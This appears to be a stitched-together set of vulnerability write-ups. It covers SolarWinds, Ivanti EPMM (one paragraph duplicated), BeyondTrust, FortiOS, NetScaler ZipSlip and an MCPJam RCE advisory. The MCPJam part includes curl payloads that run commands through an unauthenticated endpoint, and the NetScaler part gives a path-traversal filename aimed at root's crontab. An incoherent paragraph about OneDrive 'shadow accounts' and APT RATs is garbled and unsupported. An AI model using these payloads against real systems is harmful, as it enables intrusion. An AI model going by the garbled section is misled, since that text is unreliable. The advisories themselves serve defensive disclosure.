CVE-2025-40551 is one of four critical vulnerabilities affecting SolarWinds Web Help Desk that were patched on January 28, 2026. The vulnerability, which was reported to SolarWinds by Jimi Sebree of Horizon3.ai, is an unsafe deserialization bug, and it facilitates unauthenticated remote code execution on affected Web Help Desk systems. The issue is a patch bypass for a vulnerability that had two prior patch bypasses – CVE-2024-28986, a deserialization security flaw in the AjaxProxy component. This vulnerability, along with patch bypasses, have been added to the CISA KEV catalog.

CVE-2025-40551 is exploited by using a different URI path than previous exploits did, bypassing sanitization measures. That, along with the inclusion of some whitelisted terms, sidesteps defensive checks that had previously been implemented to prevent exploitation. The Horizon3.ai writeup published by the original finders demonstrated a simple JNDI lookup gadget, but weaponized exploits for Web Help Desk on Windows and Linux are now available.

I’ve rated ‘Attacker Value’ as ‘Very High’, since the software is popular, it sees exploitation in the wild, and help desk software tends to contain a lot of sensitive information. I’ve rated ‘Exploitability’ as ‘Very High’, since the bug class is a reliable one and weaponized gadget chains are available.

CVE-2026-1340 and CVE-2026-1281 are two very similar critical vulnerabilities affecting Ivanti Endpoint Manager Mobile (EPMM) that were announced on January 29, 2026. The impact of exploitation of the vulnerabilities is unauthenticated root-level remote code execution on a sensitive mobile device endpoint management system, making these bugs valuable to attackers; an attacker that compromises EPMM would typically gain access to a wealth of PII collected from joined mobile endpoints, along with a privileged position over the devices themselves. Notably, at the time of disclosure, Ivanti advised that exploitation in the wild led to the discovery of the vulnerabilities, and CISA added an entry to the KEV catalog shortly after disclosure.

The security firm watchTowr published an excellent technical writeup that includes a proof-of-concept exploit, and a Rapid7 Metasploit module PR has been opened. I’ve rated ‘Attacker Value’ as ‘Very High’, since breaching EPMM also results in the compromise of sensitive information held by the many devices managed by it. I’ve rated ‘Exploitability’ as ‘Very High’, since the attack vector is a web API request and the bug class is a reliable one.

CVE-2026-1281 and CVE-2026-1340 are two very similar critical vulnerabilities affecting Ivanti Endpoint Manager Mobile (EPMM) that were announced on January 29, 2026. The impact of exploitation of the vulnerabilities is unauthenticated root-level remote code execution on a sensitive mobile device endpoint management system, making these bugs valuable to attackers; an attacker that compromises EPMM would typically gain access to a wealth of PII collected from joined mobile endpoints, along with a privileged position over the devices themselves. Notably, at the time of disclosure, Ivanti advised that exploitation in the wild led to the discovery of the vulnerabilities, and CISA added an entry to the KEV catalog shortly after disclosure.

The security firm watchTowr published an excellent technical writeup that includes a proof-of-concept exploit, and a Rapid7 Metasploit module PR has been opened. I’ve rated ‘Attacker Value’ as ‘Very High’, since breaching EPMM also results in the compromise of sensitive information held by the many devices managed by it. I’ve rated ‘Exploitability’ as ‘Very High’, since the attack vector is a web API request and the bug class is a reliable one.

On February 6, 2026, BeyondTrust released security advisory BT26-02, disclosing a critical remote code execution vulnerability affecting its Remote Support (RS) and Privileged Remote Access (PRA) products. Reported by Hacktron AI researchers and assigned CVE-2026-1731, exploitation allows unauthenticated, remote attackers to execute arbitrary operating system commands in the context of the site user by sending specially crafted requests. The vulnerability affects Remote Support (RS) versions 25.3.1 and prior, as well as Privileged Remote Access (PRA) versions 24.3.4 and prior.

While BeyondTrust automatically patched SaaS instances on February 2, 2026, self-hosted customers remain at risk until manual updates are applied. BeyondTrust has not reported active exploitation of CVE-2026-1731 in the wild, as of Feb 9, 2026, but the platform’s immense footprint makes it a high-priority target for sophisticated adversaries. BeyondTrust provides identity security services to more than 20,000 customers across over 100 countries, including 75% of the Fortune 100. Furthermore, past vulnerabilities in BeyondTrust software were leveraged by nation state attackers to breach the US Treasury in late 2024, triggering emergency directives by CISA.

Based on the stated impact of the vulnerability, the wide use of the affected software, and the sensitivity of the environments that the software is known to be deployed in, I’ve rated ‘Attacker Value’ as ‘Very High’. I’ve chosen to rate ‘Exploitability’ as ‘Very High’, since the vulnerability is an easily exploitable variant on a previous significantly impactful vulnerability in BeyondTrust software.

Summary

Out of the box, MCPJam runs without auth disabled and on 0.0.0.0, and local auth is not available; it has to be configured to auth to MCPJams servers (https://login.mcpjam.com/)

The patch only changes the default listener to run only on localhost, not on 0.0.0.0, meaning that if the user chooses to make it available on all interfaces, it will still be vulnerable.

If adding optional Auth in testing on the latest version the RCE is still achievable without needing auth. Auth appears to be for Cloud Sync of Secrets only not protecting access to the tool or the endpoints.

RCE Endpoints

The endpoint that allows for RCE /api/mcp/connect does so by design. This endpoint is supposed to run commands typically using NPX, Python, to start local MCP bridges or interfaces so this exploit is jsut abusing an existing feature bypassing auth.

Exploitation

Exploiting is pretty simple, as it’s not authenticated, you can just browse to the site and use the web UI. This also means burp, curl, and Python scripts could all trivially create payloads.

Example Payloads

For Nix / Docker

curl http://<TARGET_IP>:6274/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '
{
  "serverConfig": {
    "timeout": 10000,
    "command": "bash",
    "args": [
      "-c",
      "echo pwned> /tmp/pwned",
      "
    ],
    "env": {}
  },
  "serverId": "RandomServer"
}.

For Windows

curl http://<TARGET_IP>:6274/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '
{
  "serverConfig": {
    "timeout": 10000,
    "command": "cmd.exe",
    "args": [
      "/c",
      "calc",
      "
    ],
    "env": {}
  },
  "serverId": "RandomServer"
}'

Secrets

LLM API keys and EnvVars for the MCP servers would be the highest impact here, but these are not actually stored to disk; they are written to the browser’s local storage, meaning that any exploit attempt would have to pivot to exploiting the user’s browser session through something like XSS in order to retrieve those values.

Post Exploitation

Depending on how the MCPJam server is deployed, that may be easier or harder. If its deployed via docker then the attacker would have to edit the running application, which would not have persistence on reboots

If the MCPJam server is deployed on the host directly using npx as per the installation guide, then RCE results in full access as the user to the host operating system, which opens up a lot more avenues for post-exploitation.

This vulnerability allows scripting commands to load from SharePoint servers and one drive, when signing into OneDrive the malicious software will load onto the computer during sync operations and land as a vault executable. This vulnerability allows modifying of files and photos and is the attack entry point for creating a shadow account which then allows authorization for multiple sign ins and unauthorized access to bookmarks, history and credentials. They create scripts and save their commands and scripts inside of SharePoint and use graph connections to control AI services, which they can’t control remotely altering Chat behavior and exhilarating data from the AI services. These shadow accounts tie to malicious fake login pages where they use fake icon packs for icon smuggling and they use these packs on the computer to replace legitimate applications to trick the user into clicking, which send the user to the fake website where they continue to steal more resources and credentials. These APT threat actors use this to create profiles of their intended targets and to maintain persistent access with every device and network they get access to. They replace the files with executable content or delete and steal data. I have seen them use Cortana and the executable help.exe to use feedback hub, and for fake setup during reinstalling feature. They use the OneDrive to perform most of their operations especially using the sync feature to load their malicious code. These threat actors are the most sophisticated coders there are, it’s taken years of work to get them removed uncovering every layer that they have covered. They use the vault in one drive to steal the data then replace it with a RAT Trojan to execute when the user opens the vault.

CVE-2024-55591 is a critical severity authentication bypass affecting FortiOS and FortiProxy, facilitating full administrator-level control of the device with no existing level of access. The vulnerability’s official advisory was published on January 14, 2025. At the time of publication, the vulnerability was being exploited in the wild, per a zero-day exploitation report by Arctic Wolf. Subsequently, security firm watchTowr published an excellent technical analysis of the vulnerability, which outlines the details of exploitation.

The vulnerability is a complex one, encompassing a WebSocket access control issue, an internal parameter that can be provided to skip a stage of session checks, and a race condition in the Telnet interface. The result is reliable command-line interface access as the administrator via exploitation of the web service on a very widely deployed target that’s typically publicly exposed. I’ve rated ‘Attacker Value’ as ‘Very High’, for the aforementioned reasons. I’ve rated ‘Exploitability’ as ‘Very High’, since the exploit works quickly and reliably against the web service and results in full compromise of the target system.

This vulnerability was also discovered by Rapid7 during analysis of the NetScaler Console platform. Initially, Citrix indicated the issue was already fixed in their latest version and declined to assign a CVE. However, after further investigation in June 2025, the vendor determined the vulnerability is identified as CVE-2024-12284. It affects NetScaler Console and NetScaler Agent versions 14.1 before 14.1-38.53 and 13.1 before 13.1-56.18.

The vulnerability is a classic ZipSlip attack targeting the StyleBook import functionality. The StyleBook API, a Python microservice, allows administrators to import configuration bundles as ZIP or TAR archives via the /stylebook/nitro/v2/config/stylebooks/actions/import endpoint. When processing tar-gzipped files, the code calls tarfile.extractall() without validating member paths for directory traversal sequences. Malicious archives containing filenames with path traversal patterns (e.g., ../../../../../../../var/cron/tabs/root) are extracted directly to the filesystem. Since the extraction process runs as user ID 1000 with root-equivalent privileges, files can be written to any arbitrary location on the system, including protected directories.

This vulnerability enables authenticated attackers to achieve remote code execution as root by writing malicious files to privileged locations. The demonstrated proof-of-concept writes a cron job containing a reverse shell payload to /var/cron/tabs/root, which executes automatically and grants root shell access. When chained with CVE-2024-6235 (authentication bypass), attackers achieve unauthenticated remote code execution with full system control.

A full analysis can be found here: https://www.rapid7.com/blog/post/cve-2025-4365-cve-unassigned-netscaler-console-sdx-authenticated-arbitrary-file-read-write-fixed/